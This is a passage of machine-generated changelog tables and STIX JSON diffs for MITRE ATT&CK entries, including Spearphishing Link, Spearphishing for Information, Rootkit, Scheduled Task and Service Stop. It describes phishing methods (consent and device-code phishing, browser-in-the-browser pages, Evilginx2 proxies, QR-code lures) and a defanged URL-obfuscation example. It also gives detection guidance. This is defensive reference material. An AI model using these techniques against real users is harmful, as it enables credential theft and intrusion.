| > | ink in an attempt to gain access to victim systems. Spearphi | > | ink in an attempt to gain access to victim systems. Spearphi | ||
| > | shing with a link is a specific variant of spearphishing. It | > | shing with a link is a specific variant of spearphishing. It | ||
| > | is different from other forms of spearphishing in that it e | > | is different from other forms of spearphishing in that it e | ||
| > | mploys the use of links to download malware contained in ema | > | mploys the use of links to download malware contained in ema | ||
| > | il, instead of attaching malicious files to the email itself | > | il, instead of attaching malicious files to the email itself | ||
| > | , to avoid defenses that may inspect email attachments. Spea | > | , to avoid defenses that may inspect email attachments. Spea | ||
| > | rphishing may also involve social engineering techniques, su | > | rphishing may also involve social engineering techniques, su | ||
| > | ch as posing as a trusted source. All forms of spearphishin | > | ch as posing as a trusted source. All forms of spearphishin | ||
| > | g are electronically delivered social engineering targeted a | > | g are electronically delivered social engineering targeted a | ||
| > | t a specific individual, company, or industry. In this case, | > | t a specific individual, company, or industry. In this case, | ||
| > | the malicious emails contain links. Generally, the links wi | > | the malicious emails contain links. Generally, the links wi | ||
| > | ll be accompanied by social engineering text and require the | > | ll be accompanied by social engineering text and require the | ||
| > | user to actively click or copy and paste a URL into a brows | > | user to actively click or copy and paste a URL into a brows | ||
| > | er, leveraging [User Execution](https://attack.mitre.org/tec | > | er, leveraging [User Execution](https://attack.mitre.org/tec | ||
| > | hniques/T1204). The visited website may compromise the web b | > | hniques/T1204). The visited website may compromise the web b | ||
| > | rowser using an exploit, or the user will be prompted to dow | > | rowser using an exploit, or the user will be prompted to dow | ||
| > | nload applications, documents, zip files, or even executable | > | nload applications, documents, zip files, or even executable | ||
| > | s depending on the pretext for the email in the first place. | > | s depending on the pretext for the email in the first place. | ||
| > | Adversaries may also include links that are intended to in | > | Adversaries may also include links that are intended to in | ||
| > | teract directly with an email reader, including embedded ima | > | teract directly with an email reader, including embedded ima | ||
| > | ges intended to exploit the end system directly. Additionall | > | ges intended to exploit the end system directly. Additionall | ||
| > | y, adversaries may use seemingly benign links that abuse spe | > | y, adversaries may use seemingly benign links that abuse spe | ||
| > | cial characters to mimic legitimate websites (known as an \"I | > | cial characters to mimic legitimate websites (known as an \"I | ||
| > | DN homograph attack\").(Citation: CISA IDN ST05-016) URLs may | > | DN homograph attack\").(Citation: CISA IDN ST05-016) URLs may | ||
| > | also be obfuscated by taking advantage of quirks in the URL | > | also be obfuscated by taking advantage of quirks in the URL | ||
| > | schema, such as the acceptance of integer- or hexadecimal-b | > | schema, such as the acceptance of integer- or hexadecimal-b | ||
| > | ased hostname formats and the automatic discarding of text b | > | ased hostname formats and the automatic discarding of text b | ||
| > | efore an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586 | > | efore an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586 | ||
| > | 937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries | > | 937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries | ||
| > | may also utilize links to perform consent phishing, typicall | > | may also utilize links to perform consent phishing/spearphis | ||
| > | y with OAuth 2.0 request URLs that when accepted by the user | > | hing campaigns to [Steal Application Access Token](https://a | ||
| > | provide permissions/access for malicious applications, allo | > | ttack.mitre.org/techniques/T1528)s that grant immediate acce | ||
| > | wing adversaries to [Steal Application Access Token](https: | > | ss to the victim environment. For example, a user may be lur | ||
| > | //attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro | > | ed into granting adversaries permissions/access via a malici | ||
| > | Pawn Storm OAuth 2017) These stolen access tokens allow the | > | ous OAuth 2.0 request URL that when accepted by the user pro | ||
| > | adversary to perform various actions on behalf of the user | > | vide permissions/access for malicious applications.(Citation | ||
| > | via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishi | > | : Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAu | ||
| > | ng 2021) Adversaries may also utilize spearphishing links t | > | th 2.0 Consent Phishing 2021) These stolen access tokens all | ||
| > | o [Steal Application Access Token](https://attack.mitre.org/ | > | ow the adversary to perform various actions on behalf of the | ||
| > | techniques/T1528)s that grant immediate access to the victim | > | user via API calls.(Citation: Microsoft OAuth 2.0 Consent P | ||
| > | environment. For example, a user may be lured through \u201ccons | > | hishing 2021) Similarly, malicious links may also target de | ||
| > | ent phishing\u201d into granting adversaries permissions/access v | > | vice-based authorization, such as OAuth 2.0 device authoriza | ||
| > | ia a malicious OAuth 2.0 request URL .(Citation: Trend Micro | > | tion grant flow which is typically used to authenticate devi | ||
| > | Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consen | > | ces without UIs/browsers. Known as \u201cdevice code phishing,\u201d a | ||
| > | t Phishing 2021) Similarly, malicious links may also target | > | n adversary may send a link that directs the victim to a mal | ||
| > | device-based authorization, such as OAuth 2.0 device author | > | icious authorization page where the user is tricked into ent | ||
| > | ization grant flow which is typically used to authenticate d | > | ering a code/credentials that produces a device token.(Citat | ||
| > | evices without UIs/browsers. Known as \u201cdevice code phishing, | > | ion: SecureWorks Device Code Phishing 2021)(Citation: Netsko | ||
| > | \u201d an adversary may send a link that directs the victim to a | > | pe Device Code Phishing 2021)(Citation: Optiv Device Code Ph | ||
| > | malicious authorization page where the user is tricked into | > | ishing 2021) | ||
| > | entering a code/credentials that produces a device token.(Ci | ||||
| > | tation: SecureWorks Device Code Phishing 2021)(Citation: Net | ||||
| > | skope Device Code Phishing 2021)(Citation: Optiv Device Code | ||||
| > | Phishing 2021) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may send spearphishing messages with a malicious | t | 1 | Adversaries may send spearphishing messages with a malicious |
| > | link to elicit sensitive information that can be used durin | > | link to elicit sensitive information that can be used durin | ||
| > | g targeting. Spearphishing for information is an attempt to | > | g targeting. Spearphishing for information is an attempt to | ||
| > | trick targets into divulging information, frequently credent | > | trick targets into divulging information, frequently credent | ||
| > | ials or other actionable information. Spearphishing for info | > | ials or other actionable information. Spearphishing for info | ||
| > | rmation frequently involves social engineering techniques, s | > | rmation frequently involves social engineering techniques, s | ||
| > | uch as posing as a source with a reason to collect informati | > | uch as posing as a source with a reason to collect informati | ||
| > | on (ex: [Establish Accounts](https://attack.mitre.org/techni | > | on (ex: [Establish Accounts](https://attack.mitre.org/techni | ||
| > | ques/T1585) or [Compromise Accounts](https://attack.mitre.or | > | ques/T1585) or [Compromise Accounts](https://attack.mitre.or | ||
| > | g/techniques/T1586)) and/or sending multiple, seemingly urge | > | g/techniques/T1586)) and/or sending multiple, seemingly urge | ||
| > | nt messages. All forms of spearphishing are electronically | > | nt messages. All forms of spearphishing are electronically | ||
| > | delivered social engineering targeted at a specific individu | > | delivered social engineering targeted at a specific individu | ||
| > | al, company, or industry. In this scenario, the malicious em | > | al, company, or industry. In this scenario, the malicious em | ||
| > | ails contain links generally accompanied by social engineeri | > | ails contain links generally accompanied by social engineeri | ||
| > | ng text to coax the user to actively click or copy and paste | > | ng text to coax the user to actively click or copy and paste | ||
| > | a URL into a browser.(Citation: TrendMictro Phishing)(Citat | > | a URL into a browser.(Citation: TrendMictro Phishing)(Citat | ||
| > | ion: PCMag FakeLogin) The given website may be a clone of a | > | ion: PCMag FakeLogin) The given website may be a clone of a | ||
| > | legitimate site (such as an online or corporate login portal | > | legitimate site (such as an online or corporate login portal | ||
| > | ) or may closely resemble a legitimate site in appearance an | > | ) or may closely resemble a legitimate site in appearance an | ||
| > | d have a URL containing elements from the real site. URLs ma | > | d have a URL containing elements from the real site. URLs ma | ||
| > | y also be obfuscated by taking advantage of quirks in the UR | > | y also be obfuscated by taking advantage of quirks in the UR | ||
| > | L schema, such as the acceptance of integer- or hexadecimal- | > | L schema, such as the acceptance of integer- or hexadecimal- | ||
| > | based hostname formats and the automatic discarding of text | > | based hostname formats and the automatic discarding of text | ||
| > | before an \u201c@\u201d symbol: for example, `hxxp://google.com@115758 | > | before an \u201c@\u201d symbol: for example, `hxxp://google.com@115758 | ||
| > | 6937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries | > | 6937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries | ||
| > | may also embed \u201ctracking pixels\u201d, \"web bugs\", or \"web beaco | > | may also embed \u201ctracking pixels,\u201d \"web bugs,\" or \"web beaco | ||
| > | ns\" within phishing messages to verify the receipt of an ema | > | ns\" within phishing messages to verify the receipt of an ema | ||
| > | il, while also potentially profiling and tracking victim inf | > | il, while also potentially profiling and tracking victim inf | ||
| > | ormation such as IP address.(Citation: NIST Web Bug) (Citati | > | ormation such as IP address.(Citation: NIST Web Bug)(Citatio | ||
| > | on: Ryte Wiki) These mechanisms often appear as small images | > | n: Ryte Wiki) These mechanisms often appear as small images | ||
| > | (typically one pixel in size) or otherwise obfuscated objec | > | (typically one pixel in size) or otherwise obfuscated object | ||
| > | ts and are typically delivered as HTML code containing a lin | > | s and are typically delivered as HTML code containing a link | ||
| > | k to a remote server. (Citation: Ryte Wiki)(Citation: IAPP) | > | to a remote server.(Citation: Ryte Wiki)(Citation: IAPP) A | ||
| > | Adversaries may also be able to spoof a complete website us | > | dversaries may also be able to spoof a complete website usin | ||
| > | ing what is known as a \"browser-in-the-browser\" (BitB) attac | > | g what is known as a \"browser-in-the-browser\" (BitB) attack. | ||
| > | k. By generating a fake browser popup window with an HTML-ba | > | By generating a fake browser popup window with an HTML-base | ||
| > | sed address bar that appears to contain a legitimate URL (su | > | d address bar that appears to contain a legitimate URL (such | ||
| > | ch as an authentication portal), they may be able to prompt | > | as an authentication portal), they may be able to prompt us | ||
| > | users to enter their credentials while bypassing typical URL | > | ers to enter their credentials while bypassing typical URL v | ||
| > | verification methods.(Citation: ZScaler BitB 2020)(Citation | > | erification methods.(Citation: ZScaler BitB 2020)(Citation: | ||
| > | : Mr. D0x BitB 2022) Adversaries can use phishing kits such | > | Mr. D0x BitB 2022) Adversaries can use phishing kits such a | ||
| > | as `EvilProxy` and `Evilginx2` to perform adversary-in-the- | > | s `EvilProxy` and `Evilginx2` to perform adversary-in-the-mi | ||
| > | middle phishing by proxying the connection between the victi | > | ddle phishing by proxying the connection between the victim | ||
| > | m and the legitimate website. On a successful login, the vic | > | and the legitimate website. On a successful login, the victi | ||
| > | tim is redirected to the legitimate website, while the adver | > | m is redirected to the legitimate website, while the adversa | ||
| > | sary captures their session cookie (i.e., [Steal Web Session | > | ry captures their session cookie (i.e., [Steal Web Session C | ||
| > | Cookie](https://attack.mitre.org/techniques/T1539)) in addi | > | ookie](https://attack.mitre.org/techniques/T1539)) in additi | ||
| > | tion to their username and password. This may enable the adv | > | on to their username and password. This may enable the adver | ||
| > | ersary to then bypass MFA via [Web Session Cookie](https://a | > | sary to then bypass MFA via [Web Session Cookie](https://att | ||
| > | ttack.mitre.org/techniques/T1550/004).(Citation: Proofpoint | > | ack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Hu | ||
| > | Human Factor) Adversaries may also send a malicious link in | > | man Factor) Adversaries may also send a malicious link in t | ||
| > | the form of Quick Response (QR) Codes (also known as \u201cquish | > | he form of Quick Response (QR) Codes (also known as \u201cquishin | ||
| > | ing\u201d). These links may direct a victim to a credential phish | > | g\u201d). These links may direct a victim to a credential phishin | ||
| > | ing page.(Citation: QR-campaign-energy-firm) By using a QR c | > | g page.(Citation: QR-campaign-energy-firm) By using a QR cod | ||
| > | ode, the URL may not be exposed in the email and may thus go | > | e, the URL may not be exposed in the email and may thus go u | ||
| > | undetected by most automated email security scans.(Citation | > | ndetected by most automated email security scans.(Citation: | ||
| > | : qr-phish-agriculture) These QR codes may be scanned by or | > | qr-phish-agriculture) These QR codes may be scanned by or de | ||
| > | delivered directly to a user\u2019s mobile device (i.e., [Phishi | > | livered directly to a user\u2019s mobile device (i.e., [Phishing | ||
| > | ng](https://attack.mitre.org/techniques/T1660)), which may b | > | ](https://attack.mitre.org/techniques/T1660)), which may be | ||
| > | e less secure in several relevant ways.(Citation: qr-phish-a | > | less secure in several relevant ways.(Citation: qr-phish-agr | ||
| > | griculture) For example, mobile users may not be able to not | > | iculture) For example, mobile users may not be able to notic | ||
| > | ice minor differences between genuine and credential harvest | > | e minor differences between genuine and credential harvestin | ||
| > | ing websites due to mobile\u2019s smaller form factor. From the | > | g websites due to mobile\u2019s smaller form factor. From the fa | ||
| > | fake website, information is gathered in web forms and sent | > | ke website, information is gathered in web forms and sent to | ||
| > | to the adversary. Adversaries may also use information from | > | the adversary. Adversaries may also use information from pr | ||
| > | previous reconnaissance efforts (ex: [Search Open Websites/D | > | evious reconnaissance efforts (ex: [Search Open Websites/Dom | ||
| > | omains](https://attack.mitre.org/techniques/T1593) or [Searc | > | ains](https://attack.mitre.org/techniques/T1593) or [Search | ||
| > | h Victim-Owned Websites](https://attack.mitre.org/techniques | > | Victim-Owned Websites](https://attack.mitre.org/techniques/T | ||
| > | /T1594)) to craft persuasive and believable lures. | > | 1594)) to craft persuasive and believable lures. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use rootkits to hide the presence of program | t | 1 | Adversaries may use rootkits to hide the presence of program |
| > | s, files, network connections, services, drivers, and other | > | s, files, network connections, services, drivers, and other | ||
| > | system components. Rootkits are programs that hide the exist | > | system components. Rootkits are programs that hide the exist | ||
| > | ence of malware by intercepting/hooking and modifying operat | > | ence of malware by intercepting/hooking and modifying operat | ||
| > | ing system API calls that supply system information. (Citati | > | ing system API calls that supply system information. (Citati | ||
| > | on: Symantec Windows Rootkits) Rootkits or rootkit enablin | > | on: Symantec Windows Rootkits) Rootkits or rootkit enablin | ||
| > | g functionality may reside at the user or kernel level in th | > | g functionality may reside at the user or kernel level in th | ||
| > | e operating system or lower, to include a hypervisor, Master | > | e operating system or lower, to include a hypervisor or [Sys | ||
| > | Boot Record, or [System Firmware](https://attack.mitre.org/ | > | tem Firmware](https://attack.mitre.org/techniques/T1542/001) | ||
| > | techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkit | > | . (Citation: Wikipedia Rootkit) Rootkits have been seen for | ||
| > | s have been seen for Windows, Linux, and Mac OS X systems. ( | > | Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike | ||
| > | Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac | > | Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit) Rootki | ||
| > | OSX Rootkit) | > | ts that reside or modify boot sectors are known as [Bootkit] | ||
| > | (https://attack.mitre.org/techniques/T1542/003)s and specifi | ||||
| > | cally target the boot process of the operating system. |
svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\\\System32\\\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\\n\\nConfigure event logging for scheduled task creation and changes by enabling the \\\"Microsoft-Windows-TaskScheduler/Operational\\\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\\n\\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\\n\\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\\n\\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\", \"diff\": \"--- \\n+++ \\n@@ -1,14 +0,0 @@\\n-Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\\\System32\\\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\\n-\\n-Configure event logging for scheduled task creation and changes by enabling the \\\"Microsoft-Windows-TaskScheduler/Operational\\\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\\n-\\n-* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\\n-* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\\n-* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\\n-* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\\n-* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\\n-* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\\n-\\n-Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\\n-\\n-Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.8\", \"old_value\": \"1.7\"}}}",
+ "previous_version": "1.7",
+ "version_change": "1.7 \u2192 1.8",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1026: Privileged Account Management",
+ "M1028: Operating System Configuration",
+ "M1047: Audit"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0003: Scheduled Job (Scheduled Job Creation)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)",
+ "DS0024: Windows Registry (Windows Registry Key Creation)",
+ "DS0029: Network Traffic (Network Traffic Flow)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0441: Detection of Suspicious Scheduled Task Creation and Execution on Windows"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-03-29 19:00:55.901000+00:00",
+ "modified": "2025-10-24 17:48:30.688000+00:00",
+ "name": "Service Stop",
+ "description": "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.(Citation: SecureWorks WannaCry Analysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)\n\nThreat actors may also disable or stop service in cloud environments. For example, by leveraging the `DisableAPIServiceAccess` API in AWS, a threat actor may prevent the service from creating service-linked roles on new accounts in the AWS Organization.(Citation: Datadog Security Labs Cloud Persistence 2025)(Citation: AWS DisableAWSServiceAccess)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "impact"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1489",
+ "external_id": "T1489"
+ },
+ {
+ "source_name": "AWS DisableAWSServiceAccess",
+ "description": "AWS. (n.d.). DisableAWSServiceAccess. Retrieved May 22, 2025.",
+ "url": "https://docs.aws.amazon.com/organizations/latest/APIReference/API_DisableAWSServiceAccess.html"
+ },
+ {
+ "source_name": "SecureWorks WannaCry Analysis",
+ "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.",
+ "url": "https://www.secureworks.com/research/wcry-ransomware-analysis"
+ },
+ {
+ "source_name": "Datadog Security Labs Cloud Persistence 2025",
+ "description": "Martin McCloskey. (2025, May 13). Tales from the cloud trenches: The Attacker doth persist too much, methinks. Retrieved May 22, 2025.",
+ "url": "https://securitylabs.datadoghq.com/articles/tales-from-the-cloud-trenches-the-attacker-doth-persist-too-much/"
+ },
+ {
+ "source_name": "Talos Olympic Destroyer 2018",
+ "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
+ "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
+ },
+ {
+ "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
+ "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
+ "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
+ },
+ {
+ "source_name": "Novetta Blockbuster",
+ "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
+ "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_contributors": [
+ "Liran Ravich, CardinalOps"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_impact_type": [
+ "Availability"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "ESXi",
+ "IaaS",
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.4",
+ "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Liran Ravich, CardinalOps\"]}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Process: Process Termination\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\", \"File: File Modification\", \"Process: OS API Execution\", \"Service: Service Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:30.688000+00:00\", \"old_value\": \"2025-04-15 19:58:12.942000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \\n\\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.(Citation: SecureWorks WannaCry Analysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)\\n\\nThreat actors may also disable or stop service in cloud environments. For example, by leveraging the `DisableAPIServiceAccess` API in AWS, a threat actor may prevent the service from creating service-linked roles on new accounts in the AWS Organization.(Citation: Datadog Security Labs Cloud Persistence 2025)(Citation: AWS DisableAWSServiceAccess)\", \"old_value\": \"Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \\n\\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.(Citation: SecureWorks WannaCry Analysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \\n \\n Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.(Citation: SecureWorks WannaCry Analysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)\\n+\\n+Threat actors may also disable or stop service in cloud environments. For example, by leveraging the `DisableAPIServiceAccess` API in AWS, a threat actor may prevent the service from creating service-linked roles on new accounts in the AWS Organization.(Citation: Datadog Security Labs Cloud Persistence 2025)(Citation: AWS DisableAWSServiceAccess)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments to see if critical processes are terminated or stop running.\\n\\nMonitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links.\\n\\nAlterations to the service binary path or the service startup type changed to disabled may be suspicious.\\n\\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Monitor processes and command-line arguments to see if critical processes are terminated or stop running.\\n-\\n-Monitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links.\\n-\\n-Alterations to the service binary path or the service startup type changed to disabled may be suspicious.\\n-\\n-Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"AWS DisableAWSServiceAccess\", \"description\": \"AWS. (n.d.). DisableAWSServiceAccess. Retrieved May 22, 2025.\", \"url\": \"https://docs.aws.amazon.com/organizations/latest/APIReference/API_DisableAWSServiceAccess.html\"}, \"root['external_references'][3]\": {\"source_name\": \"Datadog Security Labs Cloud Persistence 2025\", \"description\": \"Martin McCloskey. (2025, May 13). Tales from the cloud trenches: The Attacker doth persist too much, methinks. Retrieved May 22, 2025.\", \"url\": \"https://securitylabs.datadoghq.com/articles/tales-from-the-cloud-trenches-the-attacker-doth-persist-too-much/\"}, \"root['x_mitre_platforms'][1]\": \"IaaS\"}}",
+ "previous_version": "1.3",
+ "version_change": "1.3 \u2192 1.4",
+ "description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may stop or disable services on a system to rend | t | 1 | Adversaries may stop or disable services on a system to rend |
| > | er those services unavailable to legitimate users. Stopping | > | er those services unavailable to legitimate users. Stopping | ||
| > | critical services or processes can inhibit or stop response | > | critical services or processes can inhibit or stop response | ||
| > | to an incident or aid in the adversary's overall objectives | > | to an incident or aid in the adversary's overall objectives | ||
| > | to cause damage to the environment.(Citation: Talos Olympic | > | to cause damage to the environment.(Citation: Talos Olympic | ||
| > | Destroyer 2018)(Citation: Novetta Blockbuster) Adversaries | > | Destroyer 2018)(Citation: Novetta Blockbuster) Adversaries | ||
| > | may accomplish this by disabling individual services of hig | > | may accomplish this by disabling individual services of hig | ||
